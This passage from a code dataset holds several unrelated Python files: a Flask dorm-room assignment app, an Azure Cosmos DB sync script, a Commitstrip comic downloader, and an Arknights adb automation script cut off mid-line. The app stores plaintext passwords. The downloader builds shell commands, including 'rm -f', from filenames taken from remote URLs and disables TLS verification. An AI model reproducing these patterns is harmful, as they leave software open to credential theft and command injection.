insert_students():\n\tfor i in range(1, 10):\n\t\tname = \"Student \" + chr(i+64)\n\t\tusername = \"s\" + str(i) + \"id\"\n\t\tpw = \"s\" + str(i) + \"pw\"\n\t\tg.db.execute('insert into students (id, name, username, password, drawnumber) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [i, name, username, pw, i])\n\t\tg.db.commit()\n\ndef insert_rooms():\n\t# Clark I two room doubles\n\tfor i in range(13):\n\t\thall = \"Clark I\"\n\t\tnumA = str(100+i)+\"A\"\n\t\tnumB = str(100+i)+\"B\"\n\t\trtype = \"Two room double (\" + numA + \", \" + numB + \")\"\n\t\tavail = 1\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, numA, rtype, avail, avail])\n\t\tg.db.commit()\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, numB, rtype, avail, avail])\n\t\tg.db.commit()\n\t# Walker singles\n\tfor i in range(4, 28):\n\t\thall = \"Walker\"\n\t\tnum = str(700+i)\n\t\trtype = \"Single\"\n\t\tavail = 1\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, num, rtype, avail, avail])\n\t\tg.db.commit()\n\t# Pomona Hall 4-person suite\n\tfor i in [100, 130]:\n\t\thall = \"Pomona Hall\"\n\t\trtype = \"4-person suite (\" + str(i+1) + \", \" + str(i+2) + \", \" \\\n\t\t\t\t\t+ str(i+3) + \", \" + str(i+4) + \")\"\n\t\tavail = 1\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, i+1, rtype, avail, avail])\n\t\tg.db.commit()\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, i+2, rtype, avail, avail])\n\t\tg.db.commit()\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, i+3, rtype, avail, avail])\n\t\tg.db.commit()\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, i+4, rtype, avail, avail])\n\t\tg.db.commit()\n\t# Mudd-Blaisedell doubles\n\tfor i in [12, 14, 16, 17]:\n\t\thall = \"Mudd-Blaisedell Hall\"\n\t\trtype = \"Double\"\n\t\tavail = 2\n\t\tg.db.execute('insert into rooms (hall, number, type, availability, maxavail) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?, ?)', [hall, i, rtype, avail, avail])\n\t\tg.db.commit()\n\n\n\n# SELECTS\ndef room_info():\n\tcur = g.db.execute('select rooms.hall, rooms.number, rooms.type, \\\n\t\t\t\t\t\trooms.availability, rooms.maxavail, students.name \\\n\t\t\t\t\t\tfrom rooms left outer join assignments on \\\n\t\t\t\t\t\trooms.hall = assignments.hall and rooms.number = assignments.roomnumber \\\n\t\t\t\t\t\tleft outer join students on assignments.studentid = students.id')\n\treturn [dict(hall=row[0], number=row[1], type=row[2], availability=row[3],\n\t\t\t\tmaxavail=row[4], name=row[5]) for row in cur.fetchall()]\n\t# http://flask.pocoo.org/docs/0.10/patterns/sqlite3/#easy-querying\n\ndef halls_list():\n\tcur = g.db.execute('select rooms.hall from rooms group by rooms.hall')\n\treturn [dict(name=row[0]) for row in cur.fetchall()]\n\ndef unassigned_students():\n\tcur = g.db.execute('select id, name, drawnumber from students where not exists \\\n\t\t\t\t\t\t(select * from assignments \\\n\t\t\t\t\t\twhere students.id == assignments.studentid) \\\n\t\t\t\t\t\torder by drawnumber asc')\n\treturn [dict(id=row[0], name=row[1], drawnumber=row[2]) for row in cur.fetchall()]\n\ndef current_student():\n\tcur = g.db.execute('select id, name, drawnumber from students \\\n\t\t\t\t\t\twhere students.username = ?', [session['username']])\n\tstudent = [dict(id=row[0], name=row[1], drawnumber=row[2]) for row in cur.fetchall()]\n\treturn student[0]\n\ndef wishlist_of(sid):\n\tcur = g.db.execute('select hall, roomnumber, rank from wishlists \\\n\t\t\t\t\t\twhere wishlists.studentid = ? order by rank asc', [sid])\n\treturn [dict(hall=row[0], number=row[1], rank=row[2]) for row in cur.fetchall()]\n\ndef room_assigned_to(sid):\n\tcur = g.db.execute('select rooms.hall, rooms.number, rooms.type \\\n\t\t\t\t\t\tfrom rooms, assignments where rooms.hall = assignments.hall \\\n\t\t\t\t\t\tand rooms.number = assignments.roomnumber and \\\n\t\t\t\t\t\tassignments.studentid = ?', [sid])\n\treturn [dict(hall=row[0], number=row[1], type=row[2]) for row in cur.fetchall()]\n\ndef studentid_of(name):\n\tcur = g.db.execute('select id from students where name = ?', [name])\n\tstudent = cur.fetchall()\n\treturn student[0][0]\n\n\n\n# LOGIN AND LOGOUT\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n\terror = None\n\tif request.method == 'POST':\n\t\tif request.form['type'] == 'staff':\n\t\t\tif request.form['username'] != app.config['USERNAME'] \\\n\t\t\t\tor request.form['password'] != app.config['PASSWORD']:\n\t\t\t\terror = 'Invalid username and password combination'\n\t\t\telse:\n\t\t\t\tsession['logged_in'] = True\n\t\t\t\tsession['staff_logged_in'] = True\n\t\t\t\tsession['username'] = request.form['username']\n\t\t\t\tflash('You were logged in as a staff', 'flash')\n\t\t\t\treturn redirect(url_for('staff'))\n\t\telse:\n\t\t\tcur = g.db.execute('select * from students where username = ? and \\\n\t\t\t\t\t\t\t\tpassword = ?', [request.form['username'], \\\n\t\t\t\t\t\t\t\trequest.form['password']])\n\t\t\trv = cur.fetchall()\n\t\t\tcur.close()\n\t\t\tif rv:\n\t\t\t\tsession['logged_in'] = True\n\t\t\t\tsession['student_logged_in'] = True\n\t\t\t\tsession['username'] = request.form['username']\n\t\t\t\t# flash('Welcome ' + rv[0][1], 'flash')\n\t\t\t\treturn redirect(url_for('show_rooms'))\n\t\t\telse:\n\t\t\t\terror = 'Invalid username and password combination'\n\treturn render_template('login.html', error=error)\n\n# removes that key from the session again\n@app.route('/logout')\ndef logout():\n\tsession.pop('logged_in', None) # pop from the dictionary only if present\n\tsession.pop('staff_logged_in', None) # pop from the dictionary only if present\n\tsession.pop('student_logged_in', None) # pop from the dictionary only if present\n\tsession.pop('username', None) # pop from the dictionary only if present\n\t# flash('You are logged out', 'flash')\n\treturn redirect(url_for('show_rooms'))\n\n\n\n# STUDENT FUNCTIONS\n@app.route('//')\ndef room_selected(hall, room):\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tstudent = current_student()\n\tif is_in_wishlist(student['id'], hall, room):\n\t\tflash(hall + \" \" + room + \" is already in my list\", 'error')\n\telse:\n\t\tg.db.execute('insert into wishlists (studentid, hall, roomnumber, rank) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?)', [student['id'], hall,\n\t\t\t\t\t\troom, len(wishlist_of(student['id']))+1])\n\t\tg.db.commit()\n\t\tflash(hall + \" \" + room + ' was successfully added to my list', 'flash')\n\treturn redirect(url_for('show_selected_hall', hall=hall))\n\n# lets the user add new entries if they are logged in\n@app.route('/add', methods=['POST']) # only responds to POST requests\ndef add_room():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tstudent = current_student()\n\tif is_in_wishlist(student['id'], request.form['hall'], request.form['number']):\n\t\tflash(request.form['hall'] + \" \" + request.form['number'] \n\t\t\t\t+ \" is already in my list\", 'error')\n\telse:\n\t\tg.db.execute('insert into wishlists (studentid, hall, roomnumber, rank) \\\n\t\t\t\t\t\tvalues (?, ?, ?, ?)', [student['id'], request.form['hall'],\n\t\t\t\t\t\trequest.form['number'], len(wishlist_of(student['id']))+1])\n\t\tg.db.commit()\n\t\tflash(request.form['hall'] + \" \" + request.form['number'] \n\t\t\t\t+ ' was successfully added to my list', 'flash')\n\treturn redirect(url_for('show_selected_hall', map=True))\n\n@app.route('/delete', methods=['POST']) # only responds to POST requests\ndef delete_room():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tstudent = current_student()\n\tg.db.execute('delete from wishlists where wishlists.studentid = ? and \\\n\t\t\t\t\twishlists.hall = ? and wishlists.roomnumber = ?', \n\t\t\t\t\t[student['id'], request.form['hall'], request.form['number']])\n\tg.db.commit()\n\tg.db.execute('update wishlists set rank = rank-1 where rank > ?', [request.form['rank']])\n\tg.db.commit()\n\tflash(request.form['hall'] + \" \" + request.form['number'] + \\\n\t\t\t' was successfully removed from my list', 'flash')\n\treturn redirect(url_for('student', studentid=student['id']))\n\n@app.route('/reorder', methods=['POST']) # only responds to POST requests\ndef reorder_room():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tstudent = current_student()\n\trankabove = int(request.form['rank'])-1\n\tcur = g.db.execute('select hall, roomnumber from wishlists \\\n\t\t\t\t\t\twhere studentid = ? and rank = ?', [student['id'], \n\t\t\t\t\t\trankabove])\n\troomabove = [dict(hall=row[0], number=row[1]) for row in cur.fetchall()]\n\tif (len(roomabove) > 0):\n\t\tg.db.execute('update wishlists set rank = rank-1 where rank = ? and \\\n\t\t\t\t\t\tstudentid = ?', [request.form['rank'], student['id']])\n\t\tg.db.commit()\n\t\tg.db.execute('update wishlists set rank = rank+1 where hall = ? and \\\n\t\t\t\t\t\troomnumber = ? and studentid = ?', \n\t\t\t\t\t\t[roomabove[0]['hall'], roomabove[0]['number'], student['id']])\n\t\tg.db.commit()\n\treturn redirect(url_for('student', studentid=student['id']))\n\n\n\n# FOR CHECKING\ndef is_in_wishlist(sid, hall, roomnumber):\n\tcur = g.db.execute('select * from wishlists where studentid = ? and \\\n\t\t\t\t\t\thall = ? and roomnumber = ?', [sid, hall, roomnumber])\n\treturn len(cur.fetchall()) > 0\n\ndef is_available(hall, number):\n\tcur = g.db.execute('select availability from rooms \\\n\t\t\t\t\t\twhere hall = ? and number = ?', [hall, number])\n\tavail = cur.fetchall()\n\treturn avail[0][0] > 0\n\n\n\n# STAFF FUNCTIONS\n@app.route('/assign', methods=['POST']) # only responds to POST requests\ndef assign_room():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tif is_available(request.form['hall'], request.form['number']):\n\t\tassign_room_to(studentid_of(request.form['name']), \\\n\t\t\t\t\t\trequest.form['hall'], request.form['number'])\n\t\tflash(request.form['hall'] + \" \" + request.form['number'] + \\\n\t\t\t\t' was successfully assigned to ' + request.form['name'], 'flash')\n\telse:\n\t\tflash(request.form['hall'] + \" \" + request.form['number'] \\\n\t\t\t+ \" is not available\", 'error')\n\treturn redirect(url_for('staff'))\n\n@app.route('/autoassign', methods=['POST']) # only responds to POST requests\ndef automatic_assignment():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tstudents = unassigned_students()\n\tfor student in students:\n\t\trooms = wishlist_of(student['id'])\n\t\tfor room in rooms:\n\t\t\tif is_available(room['hall'], room['number']):\n\t\t\t\tassign_room_to(student['id'], room['hall'], room['number'])\n\t\t\t\tflash(room['hall'] + \" \" + str(room['number']) + \\\n\t\t\t\t\t\t' was successfully assigned to ' + student['name'], 'flash')\n\t\t\t\tbreak\n\treturn redirect(url_for('staff'))\n\n@app.route('/cancel', methods=['POST']) # only responds to POST requests\ndef cancel_room():\n\tif not session.get('logged_in'):\n\t\tabort(401)\n\tg.db.execute('delete from assignments where assignments.studentid = ?', \n\t\t[studentid_of(request.form['name'])])\n\tg.db.commit()\n\tg.db.execute('update rooms set availability = availability+1 where hall = ? \\\n\t\t\t\t\tand number = ?', [request.form['hall'], request.form['number']])\n\tg.db.commit()\n\tflash(request.form['name'] + ' was successfully removed from assignment to ' \\\n\t\t\t+ request.form['hall'] + \" \" + str(request.form['number']), 'flash')\n\treturn redirect(url_for('staff'))\n\n\n\n# HELPER FUNCTION\ndef assign_room_to(sid, hall, number):\n\tg.db.execute('insert into assignments (studentid, hall, roomnumber) \\\n\t\t\t\t\tvalues (?, ?, ?)', [sid, hall, number])\n\tg.db.commit()\n\tg.db.execute('update rooms set availability = availability-1 \\\n\t\t\t\t\twhere hall = ? and number = ?', [hall, number])\n\tg.db.commit()\n\treturn redirect(url_for('staff'))\n\n\n\n# FIRES UP THE SERVER\nif __name__ == '__main__':\n\tapp.run() # run as a standalone application\n\t# app.run(host='0.0.0.0') # make the server publicly available\n","sub_path":"flaskr.py","file_name":"flaskr.py","file_ext":"py","file_size_in_byte":13993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"649548206","text":"import sys\nimport argparse\nimport os\nimport logging\nimport traceback\nfrom azure.cosmos import CosmosClient\n\nlogging.getLogger().setLevel(logging.INFO)\nhttp_logger = logging.getLogger(\"azure.core.pipeline.policies.http_logging_policy\")\nhttp_logger.setLevel(logging.WARNING)\n\n# Script to sync cosmosdb from APIView production instance into APIView staging instance.\n# This script identifies missing records by fetching ID and partitionKey from all containers in source and destination DB\n# and identify ID of missing records. Script read record from source and insert into destination DB for all missing records.\n\n\nCOSMOS_SELECT_ID_PARTITIONKEY_QUERY = \"select c.id, c.{0} as partitionKey from {1} c\"\nCOSMOS_SELECT_WHERE_ID_CLAUSE = \"select * from {0} c where c.id='{1}'\"\n\n# Create cosmosdb clients\ndef get_db_clients(source_url, dest_url, source_key, dest_key, db_name):\n # Create cosmosdb client for source db\n source_cosmos_client = CosmosClient(source_url, credential=source_key)\n if not source_cosmos_client:\n logging.error(\"Failed to create cosmos client for source db\")\n exit(1)\n\n # Create cosmosdb client for destination db\n dest_cosmos_client = CosmosClient(dest_url, credential=dest_key)\n if not dest_cosmos_client:\n logging.error(\"Failed to create cosmos client for destination db\")\n exit(1)\n\n logging.info(\"Created cosmos client for source and destination cosmosdb\")\n # Create database client object using CosmosClient\n src_db_client = None\n dest_db_client = None\n try:\n src_db_client = source_cosmos_client.get_database_client(db_name)\n dest_db_client = dest_cosmos_client.get_database_client(db_name)\n logging.info(\"Created database clients\")\n except:\n logging.error(\"Failed to create databae client using CosmosClient\")\n traceback.print_exc()\n exit(1)\n return src_db_client, dest_db_client\n\n\n# Copy all records in containers from source cosmosDB to destination DB\ndef sync_database(src_db_client, dest_db_client):\n # Find containers in source cosmosDB\n container_names = []\n try:\n container_names = [c[\"id\"] for c in src_db_client.list_containers()]\n except:\n logging.error(\"Failed to get container list from cosmosDB client\")\n traceback.print_exc()\n\n if not container_names:\n logging.error(\n \"Container is not found in source cosmosDB. Please check database name parameter\"\n )\n exit(1)\n\n # Sync records for each containers\n for container in container_names:\n # Sync records in container\n logging.info(\"Syncing records in containers:{}\".format(container))\n sync_database_container(src_db_client, dest_db_client, container)\n\n\n# This function fetches records in both source and destination DB and\n# identifies missing records in destination side\n# One future enhancement is to use point in time reference to fetch only new data\ndef sync_database_container(src_db_client, dest_db_client, container_name):\n # Find records and insert missing records into dest container\n src_container_client = None\n dest_container_client = None\n try:\n src_container_client = src_db_client.get_container_client(container_name)\n dest_container_client = dest_db_client.get_container_client(container_name)\n except:\n logging.error(\"Failed to get container client for {}\".format(container_name))\n traceback.print_exc()\n exit(1)\n\n source_records = fetch_records(src_container_client, container_name)\n dest_records = fetch_records(dest_container_client, container_name)\n missing_records = dict(\n [(x, source_records[x]) for x in source_records.keys() if x not in dest_records]\n )\n if missing_records:\n logging.info(\n \"Found {} missing rows in destination DB\".format(len(missing_records))\n )\n logging.info(\"Copying missing records....\")\n copy_missing_records(\n src_container_client, dest_container_client, missing_records, container_name\n )\n logging.info(\n \"Records in cosmosdb source container {} is synced successfully to destination container.\".format(\n container_name\n )\n )\n else:\n logging.info(\"Destionation DB container is in sync with source cosmosDB\")\n\n\n# Fetch records in a database container from given client\ndef fetch_records(container_client, container_name):\n\n records = {}\n try:\n # Find partition key in container\n container_props = container_client.read()\n # Get partition key from cosmos container properties to be used in read_item request\n partitionKey = container_props[\"partitionKey\"][\"paths\"][0][1:]\n query_string = COSMOS_SELECT_ID_PARTITIONKEY_QUERY.format(\n partitionKey, container_name\n )\n logging.debug(\"query string: {}\".format(query_string))\n\n # Fetch and create a map of ID and row\n # This map will be helpful in finding missing rows to insert into destination DB\n for row in container_client.query_items(\n query=query_string, enable_cross_partition_query=True\n ):\n records[row[\"id\"]] = row[\"partitionKey\"]\n except:\n logging.error(\"Failed to query database\")\n traceback.print_exc()\n exit(1)\n return records\n\n\n# Method to fetch row for each missing id from source and insert into destination db\ndef copy_missing_records(\n src_container_client, dest_container_client, missing_records, container_name\n):\n\n for row_id in missing_records:\n logging.debug(\"Copying '{0}'\".format(row_id))\n insert_row(\n dest_container_client,\n container_name,\n get_row(\n src_container_client, container_name, row_id, missing_records[row_id]\n ),\n )\n\n\n# Read a row using row ID and partition key\ndef get_row(container_client, container_name, row_id, partitionKey):\n try:\n return container_client.read_item(row_id, partitionKey)\n except:\n logging.error(\n \"Failed to read row with {0} from container {1}\".format(\n row_id, container_name\n )\n )\n traceback.print_exc()\n exit(1)\n\n\n# Insert row into container\ndef insert_row(container_client, container_name, row):\n try:\n container_client.upsert_item(row)\n except:\n logging.error(\n \"Failed to insert row with {0} to container {1}\".format(\n row[\"id\"], container_name\n )\n )\n traceback.print_exc()\n exit(1)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Sync Azure cosmosDB from source DB instance to destination DB instance\"\n )\n\n parser.add_argument(\n \"--source_url\",\n required=True,\n help=(\"URL to source cosmosdb\"),\n )\n parser.add_argument(\n \"--source_key\",\n required=True,\n help=(\"Source cosmosdb account key\"),\n )\n parser.add_argument(\n \"--dest_url\",\n required=True,\n help=(\"URL to destination cosmosdb\"),\n )\n parser.add_argument(\n \"--dest_key\",\n required=True,\n help=(\"Destination cosmosdb account key\"),\n )\n parser.add_argument(\n \"--db_name\",\n required=True,\n help=(\"Database name in cosmosdb\"),\n )\n\n args = parser.parse_args()\n\n logging.info(\"Creating cosmosDB clients...\")\n src_db_client, dest_db_client = get_db_clients(\n args.source_url, args.dest_url, args.source_key, args.dest_key, args.db_name\n )\n logging.info(\"Syncing database..\")\n sync_database(src_db_client, dest_db_client)\n","sub_path":"scripts/python/apiview-syncdb/sync_cosmosdb.py","file_name":"sync_cosmosdb.py","file_ext":"py","file_size_in_byte":7704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"601687395","text":"\"\"\"\r\nThis script downloads a random comic from commitstrip.\r\n\"\"\"\r\n\r\nimport logging\r\nfrom time import sleep\r\n\r\nimport os\r\n\r\nfrom parsel import Selector\r\nimport requests\r\n\r\nfrom data_sourcery.sources.images.base import BaseImageDownloader\r\n\r\n\r\nclass CommitstripRandomImageDownloader(BaseImageDownloader):\r\n def __init__(self, remote_path=''):\r\n super().__init__(remote_path)\r\n self.local_repository_path = f'{self.local_repository_path}/commitstrip'\r\n self.create_local_repository_if_not_exists()\r\n if not remote_path:\r\n self.remote_path = self._get_random_comic_url()\r\n logging.info(f'remote_path={self.remote_path}')\r\n\r\n def _get_random_comic_url(self):\r\n domain = 'http://www.commitstrip.com'\r\n\r\n html = requests.get(f'{domain}/?random=1', verify=False).text\r\n sel = Selector(text=html)\r\n random_url_xpath = ('/html/body/div[2]/div[2]/div[1]/div/div/div/div/'\r\n 'article/header/div/a/@href')\r\n\r\n random_image_url = sel.xpath(random_url_xpath).get()\r\n\r\n html = requests.get(random_image_url, verify=False).text\r\n sel = Selector(text=html)\r\n image_xpath = ('/html/body/div[2]/div[2]/div[1]/div/div/div/div/'\r\n 'article/div/p/img/@src')\r\n image_url = sel.xpath(image_xpath).get()\r\n\r\n return image_url\r\n\r\n @staticmethod\r\n def _get_image_height(downloaded_path):\r\n height_command = f'identify -ping -format \"%h\" {downloaded_path}'\r\n image_height = os.popen(height_command).read()\r\n return int(image_height)\r\n\r\n def _download(self):\r\n \"\"\"\r\n Downloads and convert the image to the png format.\r\n\r\n :return: local file name converted,\r\n if the file has already been downloaded\r\n :rtype: tuple(str, bool)\r\n \"\"\"\r\n already_downloaded = True\r\n\r\n local_filename = self.remote_path.split('/')[-1]\r\n\r\n r = requests.get(self.remote_path, stream=True, verify=False)\r\n\r\n if not self.local_repository_path.endswith('/'):\r\n self.local_repository_path += '/'\r\n\r\n downloaded_name = f'{self.local_repository_path}{local_filename}'\r\n converted_name = '{}{}.png'.format(\r\n self.local_repository_path,\r\n downloaded_name.replace(self.local_repository_path, '').split(\r\n '.')[0]\r\n )\r\n\r\n if not os.path.exists(converted_name):\r\n already_downloaded = False\r\n if not os.path.exists(downloaded_name):\r\n logging.info('Downloading image...')\r\n with open(downloaded_name, 'wb') as f:\r\n # download in chunks to use less resources\r\n for chunk in r.iter_content(chunk_size=1024):\r\n if chunk: # filter out keep-alive new chunks\r\n f.write(chunk)\r\n f.flush()\r\n\r\n logging.info('Converting image to png format...')\r\n image_height = self._get_image_height(downloaded_name)\r\n resize_subcommand = '-resize x1080' if image_height > 1080 else ''\r\n if resize_subcommand:\r\n logging.info(\"Image will be resized, since its' \"\r\n \"size exceeds 1080 px.\")\r\n command = (f'convert {resize_subcommand} '\r\n f'{downloaded_name} {converted_name}')\r\n os.popen(command)\r\n\r\n logging.info('Removing original (not converted) image...')\r\n\r\n return converted_name, already_downloaded\r\n\r\n def download(self):\r\n \"\"\"\r\n Main function here.\r\n \"\"\"\r\n logging.info('Starting...')\r\n\r\n logging.info(\r\n f'The wallpaper will be downloaded '\r\n f'at \"{self.local_repository_path}\".')\r\n\r\n logging.info('Parsing the site to get the random image url...')\r\n\r\n local_downloaded_path, already_downloaded = self._download()\r\n\r\n if already_downloaded:\r\n downloaded_message = f'File had already ' \\\r\n f'been downloaded at ' \\\r\n f'\"{local_downloaded_path}\"'\r\n else:\r\n downloaded_message = f'File successfully ' \\\r\n f'downloaded at ' \\\r\n f'\"{local_downloaded_path}\"'\r\n\r\n logging.info(downloaded_message)\r\n\r\n original_jpg_file = local_downloaded_path.replace('.png', '.jpg')\r\n logging.info(f'Removing original jpg file {original_jpg_file}...')\r\n sleep(1) # Had to be added so convert command worked with no errors.\r\n os.popen(f'rm -f {original_jpg_file}')\r\n\r\n logging.info(f'Finished downloading to {local_downloaded_path}.')\r\n\r\n return local_downloaded_path\r\n","sub_path":"data_sourcery/sources/images/commitstrip.py","file_name":"commitstrip.py","file_ext":"py","file_size_in_byte":4821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"501151851","text":"from os import getcwd, listdir\nfrom sys import path\nfrom time import sleep\n\nfrom foo.adb import adbCtrl\nfrom foo.pictureR import pictureFind\n\nclass Room:\n def __init__(self, positionXY, adb, screenPosition = 'left'):\n self.positionXY = []\n if isinstance(positionXY, tuple):\n self.positionXY.extend(positionXY)\n else:\n self.positionXY = None\n\n if screenPosition == 'left':\n self.initSwipe = ((500,500), (800,500))\n else:\n self.initSwipe = ((800,500), (500,500))\n\n self.isRun = True\n self.cwd = getcwd().replace('\\\\', '/')\n self.adb = adb\n self.imgSrc = self.cwd + '/bin/adb/arktemp.png'\n self.ensure = self.cwd + '/res/construction/ensure.png'\n self.back = [self.cwd + '/res/construction/back.png', self.cwd + '/res/construction/stopBack.png']\n\n def stop(self):\n self.isRun = False\n \n '''\n def get(self):\n #不知道有什么用\n return self.positionXY\n\n def insert(self, newPosition):\n #暂时也没什么用\n self.positionXY.append(newPosition)\n '''\n\n def initialize(self):\n '恢复到当前房间所处的基建首页位置(左侧/右侧)'\n self.adb.swipe(self.initSwipe[0], self.initSwipe[1])\n sleep(1)\n\n def click(self, info):\n if isinstance(info, dict):\n self.adb.click(info['result'][0], info['result'][1])\n elif isinstance(info, tuple):\n self.adb.click(info[0], info[1])\n else:\n pass\n \n def backToConstruction(self):\n '回到基建首页'\n while True:\n print('正在返回基建首页')\n self.adb.screenShot()\n backInfoP = pictureFind.matchImg(self.cwd + '/bin/adb/arktemp.png', self.back[0], 0.9)\n stopBackInfoP = pictureFind.matchImg(self.cwd + '/bin/adb/arktemp.png', self.back[1], 0.9)\n if stopBackInfoP == None:\n self.click(backInfoP)\n sleep(0.5)\n else:\n break\n sleep(0.5)\n self.initialize()\n\n def change(self, waitPeoImg, talentList):\n '人员换班'\n self.adb.screenShot()\n picInfo = pictureFind.matchImg(self.imgSrc, waitPeoImg, 0.9)\n if picInfo != None:\n self.click(picInfo)\n sleep(1)\n self.adb.screenShot()\n for eachTalent in talentList:\n picInfo = pictureFind.matchForWork(self.cwd + '/bin/adb/arktemp.png', eachTalent, self.cwd + '/bin/adb')\n print(picInfo)\n if picInfo != None:\n break\n self.click(picInfo)\n picInfo = pictureFind.matchImg(self.imgSrc, self.ensure, 0.9)\n print('确定', picInfo) #!!\n self.click(picInfo)\n sleep(1)\n \n def start(self):\n '请在子类中重写'\n pass\n\n def run(self, enterEensureImg):\n self.isRun = True\n\n self.backToConstruction()\n\n for eachRoom in self.positionXY:\n if self.isRun == False:\n break\n\n count = 0\n while count < 20:\n self.click(eachRoom) #进入房间\n sleep(0.5)\n count += 1\n self.adb.screenShot()\n picInfo = pictureFind.matchImg(self.imgSrc, enterEensureImg, 0.9)\n if picInfo != None:\n break\n else:\n self.isRun = False\n print('进入失败')\n\n while self.isRun:\n runningState = self.start()\n if runningState == False:\n break\n\n self.backToConstruction()\n\n\nclass Trade(Room):\n def __init__(self, positionXY, adb, isRun=True, screenPosition='left'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.dirWaitPeo = self.cwd + '/res/construction/waitPeo.png'\n self.talentTrade = [self.cwd + '/res/construction/talentTrade/' + each for each in \\\n listdir(self.cwd + '/res/construction/talentTrade')]\n self.tradeImgObj = [self.cwd + '/res/construction/trade/' + each for each in \\\n listdir(self.cwd + '/res/construction/trade')]\n\n def start(self):\n '贸易站内部操作执行一次'\n #贸易站操作过于简单\n #我不喜欢卖源石碎片\n\n self.adb.screenShot()\n picOrderInfo = pictureFind.matchImg(self.imgSrc, self.tradeImgObj[0], 0.9)\n picSupplyInfo = pictureFind.matchImg(self.imgSrc, self.tradeImgObj[1], 0.9)\n picWaitPeoInfo = pictureFind.matchImg(self.imgSrc, self.dirWaitPeo, 0.9)\n if picWaitPeoInfo != None:\n self.change(self.dirWaitPeo, self.talentTrade)\n return True\n else:\n if picOrderInfo != None or picSupplyInfo != None:\n self.click(picOrderInfo if picOrderInfo != None else picSupplyInfo)\n sleep(0.5)\n return True\n\n else:\n return False\n\n def run(self):\n super().run(self.tradeImgObj[0])\n\n\nclass Production(Room):\n def __init__(self, positionXY, adb, screenPosition='left'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.dirWaitPeo = self.cwd + '/res/construction/waitPeo.png'\n self.talentProduction = [self.cwd + '/res/construction/talentProduction/' + each for each in \\\n listdir(self.cwd + '/res/construction/talentProduction')]\n self.productionImgObj = [self.cwd + '/res/construction/production/' + each for each in \\\n listdir(self.cwd + '/res/construction/production')]\n\n def start(self):\n self.adb.screenShot()\n picExpInfo = pictureFind.matchImg(self.imgSrc, self.productionImgObj[4], 0.9) #判断这个制造站是否在生产作战记录\n if picExpInfo == None:\n tempTalent = self.talentProduction[0:len(self.talentProduction)] #未生产作战记录不选择作战记录技能干员,并有限选择赤金技能干员\n else:\n #制造站在生产作战记录的话,则不选择赤金技能干员,优先选择作战记录技能干员\n tempTalent = self.talentProduction[1:]\n tempTalent[0], tempTalent[len(tempTalent) - 1] = tempTalent[len(tempTalent) - 1], tempTalent[0]\n\n\n\n self.adb.screenShot()\n picProductCtrlInfo = pictureFind.matchImg(self.imgSrc, self.productionImgObj[2], 0.9)\n if picProductCtrlInfo != None:\n self.click(picProductCtrlInfo) #进入制造站二级界面\n else:\n picWaitPeoInfo = pictureFind.matchImg(self.imgSrc, self.dirWaitPeo, 0.9) #换班判断\n if picWaitPeoInfo != None: \n self.change(self.dirWaitPeo, tempTalent)\n return True\n\n #补充任务至99\n picMaxInfo = pictureFind.matchImg(self.imgSrc, self.productionImgObj[1], 0.9)\n picConfirmInfo = pictureFind.matchImg(self.imgSrc, self.productionImgObj[0], 0.9)\n pic99Info = pictureFind.matchImg(self.imgSrc, self.productionImgObj[3], 0.9)\n if pic99Info == None and picConfirmInfo == None:\n self.click(picMaxInfo)\n return True\n elif pic99Info != None and picConfirmInfo != None:\n self.click(picConfirmInfo)\n return True\n else:\n return False\n\n def run(self):\n super().run(self.productionImgObj[2])\n\n\n\nclass Dormitory(Room):\n def __init__(self, positionXY, adb, screenPosition='left'):\n super().__init__(positionXY, adb, screenPosition=screenPosition)\n self.dormObj = [self.cwd + '/res/construction/dorm/' + each for each \\\n in listdir(self.cwd + '/res/construction/dorm')]\n self.getInXY = None\n self.alreadyIsClear = False\n self.noMoreTiredP = False\n\n def restart(self):\n '用于重置状态'\n self.alreadyIsClear = True\n\n def getGetInXY(self):\n #为中枢提供进驻按钮坐标,但是那边已经用了默认值了,所以暂时用不上\n return (self.getInXY['result'],) if self.getInXY != None else None\n\n def start(self):\n self.adb.screenShot()\n picLiveMsgClosedInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[2], 0.8)\n picLiveMsgOpenInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[3], 0.9)\n if picLiveMsgOpenInfo != None:\n pass\n elif picLiveMsgClosedInfo != None:\n self.click(picLiveMsgClosedInfo)\n sleep(0.5)\n return True\n \n count = 0\n while count < 5: #清空宿舍\n if not self.alreadyIsClear:\n self.adb.screenShot()\n picClearInfo = pictureFind.matchImg(self.imgSrc, self.dormObj[1], 0.9)\n self.click(picClearInfo)\n count += 1\n\n self.adb.screenShot()\n pic0PeoInfo = 